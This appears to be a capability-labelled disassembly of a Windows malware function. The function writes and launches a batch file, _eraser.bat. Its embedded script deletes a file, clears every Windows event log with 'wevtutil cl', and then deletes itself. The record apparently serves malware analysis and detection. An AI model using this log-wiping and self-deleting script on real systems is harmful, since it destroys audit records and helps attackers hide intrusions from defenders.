Function at 0x140002df0
Capabilities:
Clear windows event logs
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x7e0]
sub rsp, 0x8e0
xor esi, esi
lea r14, str._eraser.bat
mov ebx, esi
mov edx, esi
mov rax, r14
nop dword [rax]
inc edx
lea rax, [rax + 2]
cmp word [rax], bx
jne 0x140002e20
lea eax, [rdx + 1]
mov edi, 0x400
cmp eax, edi
jle 0x140002e41
mov eax, 0xffffffff
jmp 0x140003080
movsxd r8, edx
test edx, edx
jle 0x140002e62
mov rcx, rsi
mov ebx, edx
nop dword [rax]
movzx eax, word [r14 + rcx*2]
mov word [rbp + rcx*2 - 0x20], ax
inc rcx
cmp rcx, r8
jl 0x140002e50
movsxd rax, ebx
lea r10, [0x140004620]
mov r8d, esi
mov word [rbp + rax*2 - 0x20], si
mov rax, r10
nop word [rax + rax]
inc r8d
lea rax, [rax + 2]
cmp word [rax], si
jne 0x140002e80
mov ecx, edi
lea eax, [r8 + 1]
sub ecx, ebx
cmp ecx, eax
jl 0x140002e37
movsxd r9, r8d
test r8d, r8d
jle 0x140002ec5
movsxd rax, ebx
lea rdx, [rbp - 0x20]
mov rcx, rsi
add ebx, r8d
lea rdx, [rdx + rax*2]
movzx eax, word [r10 + rcx*2]
inc rcx
mov word [rdx], ax
lea rdx, [rdx + 2]
cmp rcx, r9
jl 0x140002eb1
movsxd rax, ebx
xor ecx, ecx
mov word [rbp + rax*2 - 0x20], si
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movsxd rcx, ebx
lea rdx, [rbp - 0x20]
mov r8d, edi
sub r8d, ebx
lea rdx, [rdx + rcx*2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140002efe
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140003080
lea r11, [0x1400043dc]
mov ecx, esi
lea r10d, [rbx + rax]
mov rax, r11
nop
inc ecx
lea rax, [rax + 2]
cmp word [rax], si
jne 0x140002f10
sub edi, r10d
lea eax, [rcx + 1]
cmp edi, eax
jl 0x140002e37
movsxd r9, ecx
test ecx, ecx
jle 0x140002f65
movsxd rax, r10d
lea r8, [rbp - 0x20]
mov rdx, rsi
add r10d, ecx
lea r8, [r8 + rax*2]
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r11 + rdx*2]
inc rdx
mov word [r8], ax
lea r8, [r8 + 2]
cmp rdx, r9
jl 0x140002f50
xor r9d, r9d
movsxd rax, r10d
mov qword [rsp + 0x30], rsi
mov edx, 0x40000000
mov dword [rsp + 0x28], esi
mov rcx, r14
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 5]
mov word [rbp + rax*2 - 0x20], si
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140002ef3
lea r9, [rbp + 0x800]
mov dword [rbp + 0x800], esi
mov r8d, 0x86
mov qword [rsp + 0x20], rsi
lea rdx, str._echo_off_r_n:rep_r_ndel__1_r_nif_not_errorlevel_0_goto_rep_r_nfor__F__tokens____x_in__wevtutil.exe_el__DO_wevtutil.exe_cl____x__r_ndel__0_r_n
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002fe4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x140003080
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x50], rsi
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x20]
lea rax, [rsp + 0x50]
mov qword [rbp - 0x58], rsi
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x80], rsi
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], 0x68
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140002ef3
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret